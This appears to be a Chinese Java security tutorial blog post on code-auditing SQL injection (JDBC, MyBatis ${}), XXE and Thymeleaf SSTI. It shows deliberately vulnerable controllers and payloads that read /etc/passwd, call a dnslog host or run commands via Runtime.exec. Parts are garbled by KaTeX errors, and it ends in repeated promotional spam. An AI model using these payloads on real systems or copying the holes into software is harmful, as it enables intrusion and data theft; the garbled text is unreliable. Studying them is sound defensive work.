-JDBC
1、采用Statement方法拼接SQL语句
2、PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
安全写法:SQL语句占位符(?) + PrepareStatement预编译-MyBatis
MyBatis支持两种参数符号,一种是#,另一种是KaTeX parse error: Expected ‘EOF’, got ‘#’ at
position 2: ,#̲使用预编译,使用拼接SQL。
1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用
来解决,从而造成注入 . 2 、 l i k e 注入:模糊搜索时,直接使 用 ′ {}来解决,从而造成注入. 2、like
注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%
来解决,从而造成注入.2、like注入:模糊搜索时,直接使用′{q}%'从而造成注入.
3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.-代码审计案例:inxedu后台MyBatis注入
JDBC:Java语言连接数据库操作
方式一:采用Statement方法拼接SQL语句(没有预编译)
URL编码解码平台:https://tool.chinaz.com/tools/urlencode.aspx
updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
- 将一个波浪符(~)与当前用户的用户名拼接起来,并将该值作为XML节点的新值更新到XML文档中。
- 括号中的concat(0x7e,(SELECT user()),0x7e)表示将波浪符与当前用户的用户名连接起来。
- 0x7e是一个十六进制数,表示的是一个特定的 ASCII 字符,即波浪符(~)。
方式二:PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
这种方式不能避免SQL语句的拼接
JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
安全写法:SQL语句占位符(?) + PrepareStatement预编译
事实证明,最框架的不安全使用会造成SQL注入漏洞
大型网站不用想,小型网站有测试的价值
MyBatis( mybatis是一个优秀的基于java的持久层框架,它内部封装了 jdbc)
MyBatis支持两种参数符号,一种是#,另一种是KaTeX parse error: Expected ‘EOF’, got ‘#’ at
position 4: ,#̲使用预编译,使用拼接SQL。(造成注入原因也是因为使用了$进行拼接)
order by 造成SQL注入 :由于使用#{}会将对象转成字符串,形成order by “user”
desc造成错误,因此很多研发会采用${}来解决,从而造成注入
这个SQL语句的目的是将0x7e以及当前用户的用户名插入到指定的XML字段中,从而执行恶意操作或泄露敏感信息。
- 第一个参数是要更新的XML字段
- 第二个参数是XPath表达式 ~admin
- 第三个参数是要更新的新值。
在这个例子中,使用了concat函数来拼接字符串,包括特殊字符0x7e(波浪符)以及查询当前用户的子查询select user()。
like 注入 :模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.
in注入 :in之后多个id查询时使用 # 同样会报错,从而造成注入.
白盒审计
在真实情况下,需要先分析源码里用了那种方式操作数据库(JDBC还是MyBatis),然后在针对性看代码写法,JDBC如果没用到安全写法,那么就容易出现问题。MyBatis看代码用了KaTeX
parse error: Expected ‘EOF’, got ‘#’ at position 3:
还是#̲,#号就可以不用看了,符号就看是不是在order by、like、in里面,在就恭喜了。
代码审计案例:inxedu后台MyBatis注入
1、配置安装源码
端口要与配置文件一致
默认/inxedu_war
路径即可
启动项目后报错:
2、代码审计分析
通过java文件名判断应该是admin
目录,登录后台。
直接把整个请求数据包放到txt给sqlmap跑即可
Java安全-XXE注入-Reader&Builder
XXE
(
XML
External
Entity
Injection
),
XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时
,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。XML(可扩展标记语言)是一种用于表示和传输结构化数据的标记语言。它被设计成具有可读性强且可扩展的特点,常用于在不同系统之间进行数据交换和存储。
XML使用标签来描述数据的结构和含义。每个XML文档都由标签和内容构成,标签用于标识数据的元素,而内容则是元素的具体值或子元素。标签可以嵌套,形成层次结构,以便表示复杂的数据关系.
在代码审计时需要审计这些XML处理函数,这是一些与XML处理相关的类和接口的列表。它们通常在编程语言中的XML解析库或API中使用,用于读取、解析、转换和处理XML数据。
- XMLReader:用于顺序读取XML文档的内容,并提供了一种基于事件的方式来处理XML数据。
- SAXReader:一种用于读取和解析XML文档的SAX(Simple API for XML)解析器。
- DocumentBuilder:用于创建DOM(Document Object Model)对象的接口,可以将XML文档加载到内存中进行操作。
- XMLStreamReader:一种用于读取和解析XML文档的StAX(Streaming API for XML)解析器。
- SAXBuilder:用于构建SAX解析器的类,用于读取和解析XML文档。
- SAXParser:一种用于解析XML文档的SAX解析器。
- SAXSource:用于将SAX事件作为输入源的对象,可以用于将SAX解析器与其他处理器(如XSLT转换器)进行连接。
- TransformerFactory:用于创建Transformer对象的工厂类,可以将XML文档进行转换、处理和生成。
SAXTransformerFactory:用于创建SAXTransformerHandler对象的工厂类,可以在SAX事件处理期间进行XML转换和处理。
- SchemaFactory:用于创建XML Schema验证器的工厂类,可以用于验证XML文档的结构和内容。
- Unmarshaller:用于将XML文档解组为Java对象的接口,通常与Java的XML绑定技术(如JAXB)一起使用。
- XPathExpression:用于执行XPath查询的接口,可以在XML文档中查找和选择特定的元素和属性。
配置XML允许引入外部解析实体
方式一:在application.properties(或application.yml)文件中添加以下配置
spring.xml.parser.enabled=true
方式二:在XML中启用外部实体解析需要进行相关配置。具体的配置方法可能因为使用的XML解析器和库的不同而有所差异。
下面是一些通用的配置方法:
// 使用DocumentBuilderFactory:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
// 使用SAXParserFactory
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
// 使用TransformerFactory
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, false);
这些配置方法通常通过设置相关的特性或属性来实现。具体要设置的特性或属性名称可能因使用的解析器和库的不同而有所差异。上述示例中提到了一些常用的特性或属性名称,但具体的名称可能需要根据你使用的解析器和库进行适当的调整。
黑盒测试:https://blog.csdn.net/m0_51345235/article/details/131503666
白盒测试-XXE
思路:
- 判断是否开启XML外部实体解析
- 全局搜索关键类的名字,看看有没有参数可控
SAXParser
/**
* javax.xml.parsers.SAXParser 是 XMLReader 的替代品,它提供了更多的安全措施,
* 例如默认禁用 DTD 和外部实体的声明,
* 如果需要使用 DTD 或外部实体,可以手动启用它们,并使用相应的安全措施
*/
@ApiOperation(value = "vul:SAXParser")
@RequestMapping(value = "/SAXParser")
public String SAXParser(@RequestParam String content) {
try {
// SAXParserFactory是用于创建SAXParser实例的工厂类。newInstance()方法将返回一个新的SAXParserFactory实例。
SAXParserFactory factory = SAXParserFactory.newInstance();
// 通过SAXParserFactory的newSAXParser()方法创建一个新的SAXParser实例,并将其赋值给变量parser。
SAXParser parser = factory.newSAXParser();
// 创建一个InputSource对象,将XML内容作为StringReader的输入源。
// 调用SAXParser的parse()方法,将InputSource对象和DefaultHandler对象作为参数传入。这将触发SAX解析过程,并开始解析和处理XML内容。
parser.parse(new InputSource(new StringReader(content)), new DefaultHandler());
return "SAXParser XXE";
} catch (Exception e) {
return e.toString();
}
}
xmlReader漏洞代码
/**
* @poc http://127.0.0.1:8888/XXE/XMLReader
* Content-Type: application/xml
* payload: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://0g5zvd.dnslog.cn">]><root>&xxe;</root>
*/
@ApiOperation(value = "vul:XMLReader")
@RequestMapping(value = "/XMLReader")
public String XMLReader(@RequestParam String content) {
try {
log.info("[vul] XMLReader: " + content);
// XMLReader接口和XMLReaderFactory类来创建一个XML解析器(XML Parser)
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 修复:禁用外部实体
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 使用XMLReader对象xmlReader来解析XML内容
xmlReader.parse(new InputSource(new StringReader(content)));
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
DocumentBuilder漏洞代码
/**
* @poc http://127.0.0.1:8888/XXE/DocumentBuilder
* payload: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><person><name>&xxe;</name></person>
*/
@ApiOperation(value = "vul:DocumentBuilder类")
@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {
try {
// DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
StringReader sr = new StringReader(content);
InputSource is = new InputSource(sr);
Document document = builder.parse(is);
NodeList nodeList = document.getElementsByTagName("person");
Element element = (Element) nodeList.item(0);
return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
} catch (Exception e) {
return e.toString();
}
}
SAXReader漏洞代码
@ApiOperation(value = "vul:SAXReader")
@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {
try {
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
return "SAXReader XXE";
} catch (Exception e) {
return e.toString();
}
}
Unmarshaller漏洞代码
/**
* @poc http://127.0.0.1:8888/XXE/unmarshaller (POST)
* payload <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/passwd">]><student><name>&out;</name></student>
*/
@ApiOperation(value = "vul:Unmarshaller")
@RequestMapping(value = "/unmarshaller")
public String Unmarshaller(@RequestBody String content) {
try {
JAXBContext context = JAXBContext.newInstance(Student.class);
Unmarshaller unmarshaller = context.createUnmarshaller();
XMLInputFactory xif = XMLInputFactory.newFactory();
// 修复:禁用外部实体
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
// 默认情况下在1.8版本上不能加载外部dtd文件,需要更改设置。
// xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
// xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
Object o = unmarshaller.unmarshal(xsr);
log.info("[vul] Unmarshaller: " + content);
return o.toString();
} catch (Exception e) {
e.printStackTrace();
}
return "出错了!";
}
SAXBuilder漏洞代码
@ApiOperation(value = "vul:SAXBuilder", notes = "是一个JDOM解析器,能将路径中的XML文件解析为Document对象")
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
try {
SAXBuilder saxbuilder = new SAXBuilder();
// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxbuilder.build(new InputSource(new StringReader(content)));
return "SAXBuilder XXE";
} catch (Exception e) {
return e.toString();
}
}
Java安全-SSTI模版-Thymeleaf&URL
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web
应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
1、URL作视图
2、Velocity
3、Thymeleaf
其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html有时间学学正则表达式;https://www.jyshare.com/front-end/854/
URL作视图
原理: 根据spring
boot定义,如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析,在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞
/doc/xxxx,xxxx会被匹配到存储进入document,然后就被模板引擎解析,就会造成RCE
payload:${T(java.lang.Runtime).getRuntime().exec(“open -a
Calculator”)}::.x
白盒角度测试URL做视图
查找含参数@GetMapping路由 无return,先正则@GetMapping(.?)\spublic\s+void/gm
注意 多行匹配加全局搜索 这样才不会遗漏
Thymeleaf-黑白盒测试思路
Thymeleaf是一种Java服务器端模板引擎,用于构建动态的Web应用程序。它允许开发人员将数据和逻辑与HTML模板结合,生成最终的HTML页面。它与Spring框架紧密集成,是目前Java开发中广泛使用的模板引擎之一。
Thymeleaf SSTI 模板注入漏洞利用条件:3.0.0 至 3.0.11
版本;3.0.12以后版本已被修复,有bypass方式。即使版本符合也要没有过滤。
Thymeleaf引擎使用案例
HTML页面的中文显示和英文显示切换功能实现
下面的代码会从lang会接收参数,
- 如果接收en就会返回字符串 lang/en
- 如果接收zh就会返回字符串 lang/zh
返回的字符串实际上是一个相对路径,会被Thymeleaf引擎解析为对应的模板文件路径。根据约定,默认情况下,Thymeleaf会在src/main/resources/templates目录下查找对应的模板文件
。
因此,**如果存在src/main/resources/templates/lang/en.html文件,Thymeleaf引擎会对该模板文件进行处理,并将处理结果返回给客户端。**如果该文件不存在,可能会导致异常或返回一个默认的错误页面。
Maven-父级依赖管理
使用IDEA创建的springboot项目,thymeleaf版本不可见
这个依赖声明的artifactId是spring-boot-starter-
thymeleaf。要确定Thymeleaf的版本,你可以查看该依赖的父级依赖管理。在Spring Boot项目中,通常会有一个名为spring-
boot-dependencies的父级依赖管理,其中定义了各种Spring Boot相关的依赖版本。
可以看到spring-boot-dependencies的版本号为2.4.1。因此,Thymeleaf的版本号应该与Spring
Boot的版本号相对应。你可以在Spring Boot的官方文档或官方仓库中找到特定版本的Spring
Boot所使用的Thymeleaf版本。或者查看maven管理的jar来判断
通过指定元素,子模块可以继承父级依赖管理中定义的依赖和配置信息,以确保子模块使用与父模块相同的版本号和配置。
在这个片段中:
- 指定了Spring Boot的组ID为org.springframework.boot
- 指定了父级依赖的ID为spring-boot-starter-parent
- 指定了使用的版本号为2.4.1。
是用于指定父级pom.xml文件的相对路径的。在这个片段中,没有提供具体的相对路径,意味着Maven将在本地仓库中查找该父级依赖的pom.xml文件。
**通过继承spring-boot-starter-parent作为父级依赖,子模块可以享受到Spring
Boot提供的默认配置和插件,以及统一管理的依赖版本。**这样可以简化子模块的配置,并确保所有子模块使用相同的依赖和配置。<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.4.1</version> <relativePath/> </parent>
指定了Spring Boot的组ID为org.springframework.boot,指定了依赖的ID为spring-boot-starter-
thymeleaf。<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency>
如果想要修改这个组件的版本,可以在网站上搜索:https://mvnrepository.com/artifact/org.thymeleaf/thymeleaf/3.0.0.ALPHA02
黑盒角度测试Thymeleaf SSTI
原理:通过利用Thymelear表达式
参考文章:https://www.cnblogs.com/hjwublog/p/5051632.html
${}:用于访问容器上下文环境中的变量
例如:${user.name}将被替换为用户的名称。
payload:${T(java.lang.Runtime).getRuntime().exec(“open -a
Calculator”)}::.x
因为${},可以访问上下文环境变量,通过T(java.lang.Runtime)获取Runtime类的实例,然后调用exec(“open -a
Calculator”)方法来执行命令 open -a Calculator。
paylaod构造思路:通过${}::.x构造表达式会由Thymeleaf去执行
里面的类可以用别的,比如:$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x
参考文章:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg
漏洞发现:切换主题/背景 的功能区,将参数改为 payload
白盒角度测试Thymeleaf SSTI
先确定thymeleaf的版本,漏洞利用版本:3.0.0 至 3.0.11 版本
正则表达式搜索特征:https://www.jyshare.com/front-end/854/
思路一:全局搜索 return "
同时配合 src/main/resources/templates 目录下的文件,是否有类似上面的形式,并且有可控参数
Java安全-SPEL表达式注入-SpringBoot框架
SpEL
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
![img](https://img-
blog.csdnimg.cn/img_convert/4dd4dee640ab35f16120f19f4c4ff1d4.png)
![img](https://img-
blog.csdnimg.cn/img_convert/e2f99f67fb7e150780dda07020f76438.png)
![img](https://img-
blog.csdnimg.cn/img_convert/206308853c6b27a61b2abfc3e4d0ede5.png)
![img](https://img-
blog.csdnimg.cn/img_convert/e6fd83ec131991d1ba0630d70be7e4bb.png)
![img](https://img-
blog.csdnimg.cn/img_convert/ec090001f069acf12ae6f3391dd7ff23.png)
![img](https://img-
blog.csdnimg.cn/img_convert/39f9e024a44a83b475b21a9bb6c921e8.png)
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
![img](https://img-
blog.csdnimg.cn/img_convert/4e71a4f3e425cc1ea069487e44df287e.png)
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
![img](https://img-
blog.csdnimg.cn/img_convert/7ed172a3432e287f2dbde204ffbe2fa4.png)
g-xN9ANhXp-1712829009464)]
[外链图片转存中…(img-ofUopIj1-1712829009465)]
[外链图片转存中…(img-FdP2f958-1712829009465)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-GQdtVfep-1712829009466)]
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-lnMjxvx9-1712829009466)]
学习计划安排
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你对网络安全入门感兴趣,那么你需要的话可以
点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
![](https://img-blog.csdnimg.cn/img_convert/e27bb820d7490dee5aed37c7ed51f7b0.jpeg)